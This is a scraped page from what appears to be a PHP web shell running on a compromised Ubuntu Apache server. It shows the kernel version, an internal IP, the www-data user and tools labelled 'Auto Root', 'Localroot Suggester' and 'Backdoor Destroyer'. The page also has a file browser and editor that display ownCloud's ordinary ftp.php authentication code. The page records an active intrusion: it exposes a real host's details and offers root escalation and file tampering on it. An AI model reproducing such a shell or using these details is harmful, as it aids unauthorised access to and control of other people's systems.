Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
apps /
user_external /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
base.php
4.18
KB
-rw-r--r--
2018-04-19 18:16
ftp.php
1.74
KB
-rw-r--r--
2018-04-19 18:16
imap.php
1.89
KB
-rw-r--r--
2018-04-19 18:16
smb.php
2.4
KB
-rw-r--r--
2018-04-19 18:16
webdavauth.php
1.3
KB
-rw-r--r--
2018-04-19 18:16
Save
Rename
<?php /** * Copyright (c) 2012 Robin Appelman <icewind@owncloud.com> * This file is licensed under the Affero General Public License version 3 or * later. * See the COPYING-README file. */ /** * User authentication against a FTP/FTPS server * * @category Apps * @package UserExternal * @author Robin Appelman <icewind@owncloud.com> * @license http://www.gnu.org/licenses/agpl AGPL * @link http://github.com/owncloud/apps */ class OC_User_FTP extends \OCA\user_external\Base{ private $host; private $secure; private $protocol; /** * Create new FTP authentication provider * * @param string $host Hostname or IP of FTP server * @param boolean $secure TRUE to enable SSL */ public function __construct($host,$secure=false) { $this->host=$host; $this->secure=$secure; $this->protocol='ftp'; if($this->secure) { $this->protocol.='s'; } parent::__construct($this->protocol . '://' . $this->host); } /** * Check if the password is correct without logging in the user * * @param string $uid The username * @param string $password The password * * @return true/false */ public function checkPassword($uid, $password) { if (false === array_search($this->protocol, stream_get_wrappers())) { OCP\Util::writeLog( 'user_external', 'ERROR: Stream wrapper not available: ' . $this->protocol, OCP\Util::ERROR ); return false; } // opendir handles the as %-encoded string, but this is not true for usernames and passwords, encode them before passing them $url = sprintf('%s://%s:%s@%s/', $this->protocol, urlencode($uid), urlencode($password), $this->host); $result=@opendir($url); if(is_resource($result)) { $this->storeUser($uid); return $uid; }else{ return false; } } }